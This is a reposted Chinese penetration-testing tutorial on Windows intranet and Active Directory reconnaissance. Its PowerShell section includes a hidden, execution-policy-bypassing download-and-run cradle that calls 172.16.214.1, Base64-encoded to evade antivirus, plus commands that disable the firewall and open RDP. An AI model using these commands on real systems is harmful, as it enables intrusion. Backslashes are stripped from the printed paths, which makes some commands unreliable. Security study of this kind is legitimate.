1. <nobr id="easjo"><address id="easjo"></address></nobr>

      <track id="easjo"><source id="easjo"></source></track>
      1. 
        

      2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
      3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>
          貴州做網站公司
          貴州做網站公司~專業!靠譜!
          10年網站模板開發經驗,熟悉國內外開源網站程序,包括DEDECMS,WordPress,ZBlog,Discuz! 等網站程序,可為您提供網站建設,網站克隆,仿站,網頁設計,網站制作,網站推廣優化等服務。我們專注高端營銷型網站,企業官網,集團官網,自適應網站,手機網站,網絡營銷,網站優化,網站服務器環境搭建以及托管運維等。為客戶提供一站式網站解決方案?。?!

          【建議收藏】歷時一年的內網學習筆記合集

          來源:互聯網轉載 時間:2024-01-29 07:50:21

          本文 4.2 萬字,預計閱讀 3 小時 2 分鐘

          0x00 前言

          自 2020 年 11 月份至 2021 年 10 月份,在這近一年的時間里,筆者更新了自己在學習內網過程中的 30 余篇筆記,并將筆記同步更新到了自己的公眾號、博客、CSDN 等平臺,特在此整理成合集發布出來。

          由于公眾號字數和編輯限制,文章存在刪減,為獲得最佳閱讀體驗,建議點擊文章底部原文鏈接或復制原文鏈接到瀏覽器查看。原文鏈接:https://teamssix.com/211027-163641.html

          本文首發在我的個人公眾號和個人博客,歡迎關注我的個人公眾號:TeamsSix,我的個人博客:teamssix.com

          0x01 內網常見名詞解釋

          1、工作組

          工作組 Work Group 是最常見最簡單最普通的資源管理模式,就是將不同的電腦按功能分別列入不同的組中,以方便管理。

          比如在一個網絡內,可能有成百上千臺工作電腦,如果這些電腦不進行分組,都列在“網上鄰居”內,可想而知會有多么亂。

          為了解決這一問題,Windows 9x/NT/2000 引用了“工作組”這個概念,比如一所高校,會分為諸如數學系、中文系之類的,然后數學系的電腦全都列入數學系的工作組中,中文系的電腦全部都列入到中文系的工作組中……如果你要訪問某個系別的資源,就在“網上鄰居”里找到那個系的工作組名,雙擊就可以看到那個系別的電腦了。

          在工作組中所有的計算機都是平等的,沒有管理與被管理之分,因此工作組網絡也稱為對等網絡。

          所以對于管理者而言,工作組的管理方式有時會不太便于管理,這時候就需要了解域的概念了。

          2、域

          Domain

          可以簡單的理解成工作組的升級版,如果說工作組是“免費旅店”那么域就是“星級賓館”;工作組可以隨便進進出出,而域則有嚴格的控制。

          在“域”模式下,至少有一臺服務器負責每一臺聯入網絡的電腦和用戶的驗證工作,相當于一個單位的門衛一樣,稱為域控制器。

          域控制器 Domain Controller

          簡寫為 DC,域控制器中包含了由這個域的賬戶、密碼、屬于這個域的計算機等信息構成的數據庫。

          當電腦連入網絡時,域控制器首先要鑒別這臺電腦是否是屬于這個域的,用戶使用的登錄賬號是否存在、密碼是否正確。如果以上信息有一樣不正確的,那么域控制器就會拒絕這個用戶從這臺電腦登錄。不能登錄,用戶就不能訪問服務器上有權限保護的資源,這樣就在一定程度上保護了網絡上的資源。

          正是因為域控起到了一個身份驗證的作用,因此站在滲透的角度來說,拿下域控是至關重要的。拿下了域控,就相當于拿到了整個域內所有計算機的賬號和密碼。

          而要想實現域環境,就必須要計算機中安裝活動目錄,也可以說如果在內網中的一臺計算機上安裝了活動目錄,那它就變成了域控制器。在域中除了域控制器還有成員服務器、客戶機、獨立服務器。

          父域和子域

          顧名思義,在一個域下新建了一個域便稱其為子域。形象的來說,一個部門一個域,那個如果這個部門還有分部,那每個分部就可被稱為子域,這個大的部門便稱為父域。每個域中都有獨立的安全策略。

          域樹

          域樹由多個域組成,這些域共享同一表結構和配置,形成一個連續的名字空間。

          樹中的域通過信任關系連接起來,活動目錄包含一個或多個域樹。域樹中的域層次越深級別越低,一個“.”代表一個層次,如域child.Microsoft.com 就比 Microsoft.com這個域級別低,因為它有兩個層次關系,而Microsoft.com只有一個層次。

          而域Grandchild.Child.Microsoft.com又比 Child.Microsoft.com級別低,道理一樣。他們都屬于同一個域樹。Child.Microsoft.com就屬于Microsoft.com的子域。

          多個域樹可以組成一個域林。

          域林

          域林是指由一個或多個沒有形成連續名字空間的域樹組成,它與域樹最明顯的區別就在于域林之間沒有形成連續的名字空間,而域樹則是由一些具有連續名字空間的域組成。

          但域林中的所有域樹仍共享同一個表結構、配置和全局目錄。域林中的所有域樹通過Kerberos 信任關系建立起來,所以每個域樹都知道Kerberos信任關系,不同域樹可以交叉引用其他域樹中的對象。域林都有根域,域林的根域是域林中創建的第一個域,域林中所有域樹的根域與域林的根域建立可傳遞的信任關系.

          比如benet.com.cn,則可以創建同屬與一個林的accp.com.cn,他們就在同一個域林里.

          當創建第一個域控制器的時候,就創建了第一個域(也稱林根域),和第一個林。

          林,是一個或多個共享公共架構和全局編錄的域組成,每個域都有單獨的安全策略,和與其他域的信任關系。一個單位可以有多個林。

          3、活動目錄

          活動目錄 Active Directory ,簡寫為 AD,它是 Windows Server 中負責架構中大型網絡環境的集中式目錄管理服務,在Windows 2000 Server 開始內置于 Windows Server 產品中。

          目錄包含了有關各種對象,例如用戶、用戶組、計算機、域、組織單位(OU)以及安全策略的信息。目錄存儲在域控上,并且可以被網絡應用程序或者服務所訪問。

          活動目錄就相當于內網中各種資源的一個目錄,通過活動目錄用戶可以快速定位到這些資源的位置。

          4、DMZ

          DMZ demilitarized zone ,中文名為“隔離區”,或稱“非軍事化區”。它是為了解決安裝防火墻后外部網絡的訪問用戶不能訪問內部網絡服務器的問題,從而設立的一個非安全系統與安全系統之間的緩沖區。

          DMZ 區可以理解為一個不同于外網或內網的特殊網絡區域,DMZ 內通常放置一些不含機密信息的公用服務器,比如 WEB 服務器、E-Mail 服務器、FTP 服務器等。這樣來自外網的訪問者只可以訪問 DMZ 中的服務,但不可能接觸到存放在內網中的信息等,即使 DMZ 中服務器受到破壞,也不會對內網中的信息造成影響。

          5、域內的各種權限

          首先要理解一下組的概念,在組里包含了很多用戶,當管理員想要給某個用戶分配權限時,只需要將用戶加入到對應權限的組里就行,從而提高了管理效率,常見的組有:域本地組、全局組、通用組。

          域本地組

          成員范圍:所有的域;使用范圍:自己所在的域

          全局組

          成員范圍:自己所在的域;使用范圍:所有的域

          通用組

          成員范圍:所有的域;使用范圍:所有的域

          A-G-DL-P 策略

          A-G-DL-P 策略是將用戶賬號添加到全局組中,將全局組添加到域本地組中,然后為域本地組分配資源權限。

          • A 表示用戶賬號
          • G 表示全局組
          • U 表示通用組
          • DL 表示域本地組
          • P 表示資源權限

          0x02 PowerShell

          1、介紹

          PowerShell 可以簡單的理解為 cmd 的高級版,cmd 能做的事在 PowerShell 中都能做,但 PowerShell 還能做很多 cmd 不能做的事情。

          PowerShell 內置在 Windows 7、Windows Server 2008 R2 及更高版本的 Windows 系統中,同時 PowerShell 是構建在 .NET 平臺上的,所有命令傳遞的都是 .NET 對象。

          PowerShell 有如下特點:

          • Windows 7 以上的操作系統默認安裝
          • PowerShell 腳本可以運行在內存中,不需要寫入磁盤
          • 可以從另一個系統中下載 PowerShell 腳本并執行
          • 目前很多工具都是基于 PowerShell 開發的
          • 很多安全軟件檢測不到 PowerShell 的活動
          • cmd 通常會被阻止運行,但是 PowerShell 不會
          • 可以用來管理活動目錄

          可輸入 Get-Host 或者 $PSVersionTable 查看 PowerShell 版本:

          PS C:Usersteamssix> Get-HostName             : ConsoleHostVersion          : 5.1.18362.1171InstanceId       : a0a6f8f2-f86a-477f-bf4b-b94b452bee3cUI               : System.Management.Automation.Internal.Host.InternalHostUserInterfaceCurrentCulture   : zh-CNCurrentUICulture : zh-CNPrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxyDebuggerEnabled  : TrueIsRunspacePushed : FalseRunspace         : System.Management.Automation.Runspaces.LocalRunspace
          PS C:Usersteamssix> $PSVersionTableName                           Value----                           -----PSVersion                      5.1.18362.1171PSEdition                      DesktopPSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}BuildVersion                   10.0.18362.1171CLRVersion                     4.0.30319.42000WSManStackVersion              3.0PSRemotingProtocolVersion      2.3SerializationVersion           1.1.0.1

          Windows 操作系統對應的 PowerShell 版本信息:

          1.0 windows server 2008

          2.0 windows server 2008 r2、windows 7

          3.0 windows server 2012、windows 8

          4.0 windows server 2012 r2、windows 8.1

          5.0 windows 10

          5.1 windows server 2016

          2、基本概念

          ps1 文件

          ps1 是PowerShell 的腳本擴展名,一個 PowerShell 腳本文件其實就是一個簡單的文本文件。

          執行策略

          為了防止惡意腳本在 PowerShell 中被運行,PowerShell 有個執行策略,默認情況下,這個執行策略是受限模式Restricted。

          使用 Get-ExecutionPolicy命令查看當前執行策略

          PS C:Usersteamssix> Get-ExecutionPolicyRestricted

          執行策略有以下幾種:

          Restricted:不能運行腳本

          RemoteSigned:本地創建的腳本可以運行,但從網上下載的腳本不能運行(除非它們擁有由受信任的發布者簽署的數字簽名)

          AllSigned:僅當腳本由受信任的發布者簽名才能運行。

          Unrestricted:腳本執行不受限制,不管來自哪里,也不管它們是否有簽名。

          使用Set-ExecutionPolicy <policy name>設置執行策略,該命令需要管理員權限

          PS C:WINDOWSsystem32> Set-ExecutionPolicy Unrestricted執行策略更改執行策略可幫助你防止執行不信任的腳本。更改執行策略可能會產生安全風險,如 https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies 幫助主題所述。是否要更改執行策略?[Y] 是(Y)  [A] 全是(A)  [N] 否(N)  [L] 全否(L)  [S] 暫停(S)  [?] 幫助 (默認值為“N”): APS C:WINDOWSsystem32> Get-ExecutionPolicyUnrestricted

          運行腳本

          PowerShell 運行腳本的方式和其他 shell 基本一致,可以輸入完整路徑運行,也可以到 ps1 文件所在目錄下去運行,具體如下:

          PS C:Usersteamssix> C:t.ps1hello TeamsSixPS C:Usersteamssix> cd C:PS C:> .t.ps1hello TeamsSix

          這里不禁想吐槽一下,在看百度百科的時候關于 PowerShell 運行腳本的描述是這樣的:“假設你要運行一個名為a.ps1的腳本,你可以鍵入 C:Scriptsaps1,最大的例外是,如果 PowerShell 腳本文件剛好位于你的系統目錄中,那么你可以直接在命令提示符命令提示符后鍵入腳本文件名即可運行”這里的“系統目錄”是指的啥目錄?C:還是C:windowssystem目錄,“最大的例外”又是什么鬼,講道理讀起來有一種機翻的感覺。

          管道

          PowerShell 中的管道類似于 linux 中的管道,都是將前一個命令的輸出作為另一個命令的輸入,兩個命令之間使用 “|” 進行連接。

          例如,在 PowerShell 中獲取進程信息并以程序 ID 進行排序

          PS C:> Get-Process | Sort-Object IDHandles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName-------  ------    -----      -----     ------     --  -- -----------      0       0       60          8                 0   0 Idle   3038       0      208       4760                 4   0 System      0      12     7732      81344                88   0 Registry     53       3     1160        752               368   0 smss    256      10     2468       7424               424   0 svchost    662      21     1788       4668               504   0 csrss    160      11     1364       5660               580   0 wininit    653      27    18592     177580               588   1 csrss   1219      67    59660         52       2.59    600   1 WinStore.App    278      14     3108      15656               684   1 winlogon    687      11     5420       9432               724   0 services

          3、一些命令

          -NoLogo:啟動不顯示版權標志的PowerShell-WindowStyle Hidden (-W Hidden):隱藏窗口-NoProfile (-NoP):不加載當前用戶的配置文件–Enc:執行 base64 編碼后的 powershell 腳本字符串-ExecutionPolicy Bypass (-exec Bypass) :繞過執行安全策略-Noexit:執行后不退出Shell,這在使用鍵盤記錄等腳本時非常重要-NonInteractive (-Nonl):非交互模式,PowerShell 不為用戶提供交互的提示

          在 PowerShell 下,命令的命名規范很一致,都采用了動詞-名詞的形式,如 Net-Item,動詞一般為 Add、New、Get、Remove、Set 等。PowerShell 還兼容 cmd 和 Linux 命令,如查看目錄可以使用 dir 或者 ls 。

          文件操作類命令

          新建目錄test:New-Item test -ItemType directory刪除目錄test:Remove-Item test新建文件test.txt:New-Item test.txt -ItemType file新建文件test.txt,內容為 hello:New-Item test.txt -ItemType file -value "hello"刪除文件test.txt:Remove-Item test.txt查看文件test.txt內容:Get-Content  test.txt設置文件test.txt內容t:Set-Content  test.txt  -Value "hello"給文件test.txt追加內容:Add-Content test.txt  -Value ",word!"清除文件test.txt內容:Clear-Content test.txt

          繞過本地權限并執行

          上面說到了默認情況下 PowerShell 的執行策略是受限模式Restricted,這就導致了在滲透測試過程中我們需要采用一些方法繞過這個策略,從而執行我們的腳本文件。

          先來看看默認受限模式下執行腳本的情況

          PS C:Usersteamssix> powerShell.exe Get-ExecutionPolicyRestrictedPS C:Usersteamssix> PowerShell.exe -File t.ps1無法加載文件 C:Usersteamssixt.ps1,因為在此系統上禁止運行腳本。有關詳細信息,請參閱 https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies。+ CategoryInfo          : SecurityError: (:) [],ParentContainsErrorRecordException    + FullyQualifiedErrorId : UnauthorizedAccess

          這里系統會提示在此系統上禁止運行腳本,但加上 -ExecutionPolicy Bypass即可繞過這個限制

          PS C:Usersteamssix> cat .t.ps1echo "Hello TeamsSix"PS C:Usersteamssix> PowerShell.exe -ExecutionPolicy Bypass -File t.ps1hello TeamsSix

          繞過本地權限并隱藏執行

          加入-WindowStyle Hidden -NoLogo -NonInteractive -NoProfile 即可隱藏執行。

          PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File t.ps1

          下載遠程腳本繞過權限并隱藏執行

          PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile "IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')"

          或者簡寫

          PowerShell.exe -exec Bypass -W Hidden -NoLogo -NonI -NoP "IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')"

          利用 Base64 對命令進行編碼

          使用 Base64 進行編碼主要是為了混淆代碼以避免被殺毒軟件查殺,經過嘗試這里直接使用 Base64 編碼是不行的,可以使用 Github 上的一個編碼工具,工具下載地址:

          https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py

          下載好后,需要先將要執行的命令保存到文本文件中,這里保存到了 tmp.txt 文本中,之后執行 python ps_encoder.py -s tmp.txt 即可

          >cat tmp.txtIEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')>python ps_encoder.py -s tmp.txtSQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQA2AC4AMgAxADQALgAxADoAOAAwADAAMAAvAHQALgBwAHMAMQAnACkA

          使用 –Enc 指定 Base64 編碼內容

          PowerShell.exe -exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQA2AC4AMgAxADQALgAxADoAOAAwADAAMAAvAHQALgBwAHMAMQAnACkA

          0x03 本地工作組信息收集

          1、手動收集本地工作組信息

          • 查看當前權限
          whoami
          • 本機網絡配置信息
          ipconfig /all
          • 操作系統和版本信息(英文版)
          systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
          • 操作系統和版本信息(中文版)
          systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本"
          • 查看系統體系結構
          echo %PROCESSOR_ARCHITECTURE%
          • 查看系統所有環境變量
          set
          • 查看安裝的軟件及版本和路徑等信息
          wmic product get name,version
          • 利用 PowerShell 收集軟件版本信息
          powershell "Get-WmiObject -class Win32_Product |select-Object -Property name,version"
          • 查詢本機服務信息
          wmic service list brief
          • 查詢進程列表
          tasklist /v
          • wmic 查看進程信息
          wmic process list brief
          • 查看啟動程序信息
          wmic startup get command,caption
          • 查看計劃任務
          schtasks /query /fo LIST /v
          • 查看主機開啟時間
          net statistics workstation
          • 查詢用戶列表
          net user
          • 查看指定用戶的信息
          net user teamssix
          • 查看本地管理員用戶
          net localgroup administrators
          • 查看當前在線用戶
          query user || qwinsta
          • 列出或斷開本地計算機和連接的客戶端的會話
          net session
          • 查看端口列表
          netstat –ano
          • 查看補丁列表
          systeminfo
          • 使用 wmic 查看補丁列表
          wmic qfe get Caption,Description,HotFixID,InstalledOn
          • 查看本機共享
          net share
          • 使用 wmic 查看共享列表
          wmic share get name,path,status
          • 查詢路由表及所有可用接口的ARP 緩存表
          route printarp –a

          查詢防火墻相關配置

          netsh firewall set opmode disable (Windows Server 2003 系統及之前版本)netsh advfirewall set allprofiles state off    (Windows Server 2003 系統之后版本)
          netsh firewall show config
          (Windows Server 2003 系統及之前版本)允許指定程序全部連接netsh firewall add allowedprogram c:nc.exe "allow nc" enable(Windows Server 2003 之后系統版本)允許指定程序連入netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: nc.exe"允許指定程序連出netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: nc.exe"允許 3389 端口放行netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
          netsh advfirewall set currentprofile logging filename "C:windowstempfw.log"
          • 自定義防火墻日志儲存位置
          • 修改防火墻配置
          • 查看防火墻配置
          • 關閉防火墻

          查看計算機代理配置情況

          reg query "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings"

          查詢并開啟遠程連接服務

          REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /V PortNumber
          wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
          wmic /namespace:\rootcimv2terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1wmic /namespace:\rootcimv2terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1reg add "HKLMSYSTEMCURRENTCONTROLSETCONTROLTERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
          • 在Windows Server 2008 和Windows Server 2012 中開啟3389 端口
          • 在Windows Server 2003 中開啟3389 端口
          • 查看遠程連接端口(0xd3d換成10進制即3389)

          2、自動收集本地工作組信息

          wmic 腳本

          wmic 腳本下載地址:https://www.fuzzysecurity.com/scripts/files/wmic_info.rar

          直接將腳本在目標主機上運行,運行結束后會生成一個 output.html 文件

          PowerShsell Empire

          PowerShsell Empire中文簡稱 “帝國” ,是一款針對 Windows 系統平臺而打造的滲透工具,以下是 Empire 和萬能的 MSF 的一些區別。

          • MSF 是全平臺的,無論是win,linux,mac都可以打,但 Empire 是只針對 Windows 的
          • MSF 集信息收集,滲透,后滲透,木馬,社工的功能為一體,全面多能;而 Empire 專注于內網滲透,它是針對 PowerShell 的

          當使用 Empire 使主機上線后,可調用powershell/situational_awareness/host/winenum模塊查看本機用戶信息、系統基本信息、剪貼板等等信息。

          調用powershell/situational_awareness/host/computerdetails模塊可查看更豐富的信息,比如RDP登錄信息、主機時間日志等等,在運行這個模塊時需要管理員權限。

          0x04 域內信息收集

          1、判斷是否存在域

          ipconfig

          查看網關 IP 地址、DNS 的 IP 地址、域名、本機是否和 DNS 服務器處于同一網段。

          ipconfig /all
          C:Usersdaniel10> ipconfig /allWindows IP 配置   主 DNS 后綴 . . . . . . . . . .  : teamssix.com   DNS 后綴搜索列表  . . . . . . . . : teamssix.com以太網適配器 Ethernet0:   IPv4 地址 . . . . . . . . . . .. : 192.168.7.110   子網掩碼  . . . . . . . . . . . . : 255.255.255.0   默認網關. . . . . . . . . . . . . : 192.168.7.1   DNS 服務器  . . . . . . . . . . . : 192.168.7.7

          接著使用 nslookup 解析域名的 IP 地址,查看是否與 DNS 服務器為同一 IP

          nslookup teamssix.com
          C:Usersdaniel10> nslookup teamssix.com服務器:  UnKnownAddress:  192.168.7.7名稱:    teamssix.comAddress:  192.168.7.7

          系統詳細信息

          systeminfo
          C:Usersdaniel10> systeminfo | findstr 域:域: teamssix.com

          當前登錄域與域用戶

          net config workstation
          C:Usersdaniel10> net config workstation | findstr 域工作站域                    TEAMSSIX工作站域 DNS 名稱            teamssix.com登錄域                      TEAMSSIX

          判斷主域

          net time /domain
          C:Usersdaniel10> net time /domain\dc.teamssix.com 的當前時間是 2021/2/13 20:49:56命令成功完成。

          2、收集域內基礎信息

          查看域

          net view /domain
          C:Usersdaniel10> net view /domainDomain-------------------------------------------------------------------------------TEAMSSIX命令成功完成。

          查看域內計算機

          net view /domain:domain_name
          C:Usersdaniel10> net view /domain:teamssix服務器名稱            注解-------------------------------------------------------------------------------\DANIEL10\DANIEL7\DC命令成功完成。

          查看域內用戶組列表

          net group /domain
          C:Usersdaniel10> net group /domain這項請求將在域 teamssix.com 的域控制器處理。\dc.teamssix.com 的組帳戶-------------------------------------------------------------------------------*Admins*Domain Admins*Domain Computers*Domain Users*Enterprise Admins命令成功完成。

          查看域用戶組信息

          net group "Enterprise Admins" /domain
          C:Usersdaniel10> net group "Enterprise Admins" /domain這項請求將在域 teamssix.com 的域控制器處理。組名     Enterprise Admins注釋     指定的公司系統管理員成員-------------------------------------------------------------------------------Administrator命令成功完成。

          查看域密碼策略信息

          net accounts /domain
          C:Usersdaniel10> net accounts /domain這項請求將在域 teamssix.com 的域控制器處理。強制用戶在時間到期之后多久必須注銷?:     從不密碼最短使用期限(天):                  1密碼最長使用期限(天):                  42密碼長度最小值:                        7保持的密碼歷史記錄長度:                 24鎖定閾值:                            從不鎖定持續時間(分):                      30鎖定觀測窗口(分):                      30計算機角色:                           PRIMARY命令成功完成。

          查看域信任信息

          nltest /domain_trusts
          C:Usersdaniel10> nltest /domain_trusts域信任的列表:    0: TEAMSSIX teamssix.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)此命令成功完成

          3、收集域用戶和管理員信息

          查詢域用戶列表

          net user /domain
          C:Usersdaniel10> net user /domain這項請求將在域 teamssix.com 的域控制器處理。\dc.teamssix.com 的用戶帳戶-------------------------------------------------------------------------------admin                    Administrator                    daniel10

          查詢域用戶詳細信息

          wmic useraccount get /all
          C:Usersdaniel10> wmic useraccount get /allAccountType  Caption                        Description                                                     Disabled  Domain    FullName                               InstallDate  LocalAccount  Lockout  Name                  PasswordChangeable  PasswordExpires  PasswordRequired  SID                                            SIDType  Status512          DANIEL10Administrator         管理計算機(域)的內置帳戶                                        TRUE      DANIEL10                                                      TRUE          FALSE    Administrator         TRUE                FALSE            TRUE              S-1-5-21-1097120846-822447287-3576165687-500   1        Degraded512          DANIEL10DefaultAccount        系統管理的用戶帳戶。TRUE      DANIEL10                                                      TRUE          FALSE    DefaultAccount        TRUE                FALSE            FALSE             S-1-5-21-1097120846-822447287-3576165687-503   1        Degraded

          查詢存在的用戶

          dsquery user
          C:Usersdaniel10> dsquery user"CN=Administrator,CN=Users,DC=teamssix,DC=com""CN=Guest,CN=Users,DC=teamssix,DC=com"

          常用的 dsquery 命令

          dsquery computer - 查找目錄中的計算機dsquery contact - 查找目錄中的聯系人dsquery subnet - 查找目錄中的子網dsquery group - 查找目錄中的組dsquery ou - 查找目錄中的組織單位dsquery site - 查找目錄中的站點dsquery server - 查找目錄中的域控制器dsquery user - 查找目錄中的用戶dsquery quota - 查找目錄中的配額dsquery partition - 查找目錄中的分區dsquery * - 用通用的 LDAP 查詢查找目錄中的任何對象

          4、查找域控制器

          查看域控器主機名

          nltest /DCLIST:teamssix
          C:Usersdaniel10> nltest /DCLIST:teamssix獲得域“teamssix”中 DC 的列表(從“\DC”中)。dc.teamssix.com [PDC]  [DS] 站點: Default-First-Site-Name此命令成功完成
          nslookup -type=SRV _ldap._tcp
          C:Usersdaniel10> nslookup -type=SRV _ldap._tcp_ldap._tcp.teamssix.com SRV service location:          priority       = 0          weight         = 100          port           = 389          svr hostname   = dc.teamssix.comdc.teamssix.com internet address = 192.168.7.7
          netdom query pdc
          C:Usersdaniel10> netdom query pdc域的主域控制器:DC命令成功完成。

          查看域控器組

          net group "domain controllers" /domain
          C:Usersdaniel10> net group "domain controllers" /domain這項請求將在域 teamssix.com 的域控制器處理。組名     Domain Controllers注釋     在網域所有的網域控制站成員-------------------------------------------------------------------------------DC$命令成功完成。

          5、定位域管理員

          psloggedon

          在 Windows 上使用 net session 可以查看誰使用了本機資源,但不能查看誰在使用遠程計算機資源、誰登錄了本地或遠程計算機,使用 psloggedon 可以查看本地登錄的用戶和通過本地計算機或遠程計算機進行資源登錄的用戶。

          psloggedon 下載地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

          psloggedon.exe [-] [-l] [-x] [\computername|username]-                                顯示支持的選項和用于輸出值的單位。-l                            僅顯示本地登錄,不顯示本地和網絡資源登錄。-x                            不顯示登錄時間。\computername    指定要列出登錄信息的計算機的名稱。Username                指定用戶名,在網絡中搜索該用戶登錄的計算機。
          C:Usersdaniel10> PsLoggedon.exe -l \192.168.7.7Users logged on locally:2021/2/13 20:53:08         TEAMSSIXAdministrator

          PVEFindADUser

          PVEFindADUser 用于查找活動目錄用戶登錄的位置、枚舉域用戶,以及查找在特定計算機上登錄的用戶,包括本地用戶、通過 RDP 登錄的用戶、用于運行服務器和計劃任務的用戶,該工具需要管理員權限。

          PVEFindADUser 下載地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn

          -h                                            顯示幫助信息-u                                            檢測程序是否有新版本-current ["username"]        -current參數顯示每臺PC上當前登錄的用戶在域中。如果指定用戶名(在引號之間),則僅將顯示該特定用戶登錄的PC-noping                                    阻止嘗試枚舉用戶登錄名之前對目標計算機執行ping命令-target                                    此可選參數允許您指定要查詢的主機。如果未指定此-target參數,則將查詢當前域中的所有主機。如果決定指定-target,然后指定以逗號分隔的主機名。查詢結果將被輸出到report.csv文件中
          C:Usersdaniel10> PVEFindADUser.exe -current [+] Finding currently logged on users ? true [+] Finding last logged on users ? false [+] Enumerating all computers... [+] Number of computers found : 15 [+] Launching queries     [+] Processing host : dc.teamssix.com (Windows Server 2008 R2 Datacenter;Service Pack 1)         - Logged on user : teamssixadministrator     [+] Processing host : daniel7.teamssix.com (Windows 7 專業版;Service Pack 1)     [+] Processing host : daniel10.teamssix.com (Windows 10 專業版) [+] Report written to report.csv

          netview

          netview 是一個枚舉工具,使用 WinAPI 枚舉系統,利用 NetSessionEnum 尋找登錄會話,利用 NetShareEnum 尋找共享,利用 NetWkstaUserEnum 枚舉登錄的用戶,netview 可以查詢共享入口和有價值的用戶,其絕大部分功能無需管理員權限就可使用。

          Netview 下載地址:https://github.com/mubix/netview

          -h               顯示幫助信息-f filename.txt  指定要提取主機列表的文件-e filename.txt  指定要排除的主機名的文件-o filename.txt  將所有輸出重定向到指定的文件-d domain        指定要提取主機列表的域。如果沒有指定,則從當前域中提取主機列表-g group         指定搜索的組名。如果沒有指定,則在Domain Admins組中搜索-c               對已找到的共享目錄/文件的訪問權限進行檢查-i interval      枚舉主機之間等待的秒數-j jitter        應用于間隔的抖動百分比(0.0-1.0)
          C:Usersdaniel10> netview.exe -d[+] Number of hosts: 3[+] Host: DANIEL10Enumerating AD Info[+] DANIEL10 - Comment -[+] D - OS Version - 10.0[+] DANIEL10 - MSSQL ServerEnumerating IP Info[+] (null) - IPv4 Address - 192.168.7.110Enumerating Share InfoEnumerating Session InfoEnumerating Logged-on Users[+] DANIEL10 - Logged-on - TEAMSSIXdaniel10[+] Host: DCEnumerating AD Info[+] DC - Comment -[+] D - OS Version - 6.1[+] DC - Domain ControllerEnumerating IP Info[+] (null) - IPv4 Address - 192.168.7.7……內容較多故省略……

          NSE 腳本

          常用的 NSE 腳本如下:

          smb-enum-domains.nse:對域控制器進行信息收集,可以獲取主機信息、用戶、可使用密碼策略的用戶等

          smb-enum-users.nse:在進行域滲透時,如獲取了域內某臺主機權限,但權限有限,無法獲取更多的域用戶信息,可借助此腳本對域控制器進行掃描

          smb-enum-shares.nse:遍歷遠程主機的共享目錄

          smb-enum-processes.nse:對主機的系統進程進行遍歷,通過此信息,可知道目標主機運行著哪些軟件

          smb-enum-sessions.nse:獲取域內主機的用戶登陸會話,查看當前是否有用戶登陸,且不需要管理員權限

          smb-os-discovery.nse:收集目標主機的操作系統、計算機名、域名、域林名稱、NetBIOS機器名、NetBIOS域名、工作組、系統時間等信息

          NES 腳本下載地址:https://nmap.org/nsedoc/scripts/

          C:Usersdaniel10> nmap --script=smb-os-discovery.nse -p 445 192.168.7.107Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-21 09:44 CSTNmap scan report for 192.168.7.107Host is up (0.00053s latency).PORT    STATE SERVICE445/tcp open  microsoft-dsHost script results:| smb-os-discovery:|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional|   Computer name: daniel7|   NetBIOS computer name: DANIEL7x00|   Domain name: teamssix.com|   Forest name: teamssix.com|   FQDN: daniel7.teamssix.com|_  System time: 2021-02-21T09:44:33+08:00Nmap done: 1 IP address (1 host up) scanned in 0.50 seconds

          PowerView 腳本

          PowerView 腳本中包含了一系列的 powershell 腳本,信息收集相關的腳本有 Invoke-StealthUserHunter、Invoke-UserHunter 等,要使用 PowerView 腳本需要將 PowerView 文件夾復制到 PowerShell 的 Module 文件夾內, Module 文件夾路徑可以通過在 PowerShell 中輸入$Env:PSModulePath查看,我這里將其復制到了C:Program FilesWindowsPowerShellModules文件夾內。

          接著在 powershell中輸入Import-Module PowerView即可導入PowerView,使用Get-Command -Module PowerView可查看已導入的 PowerView 命令

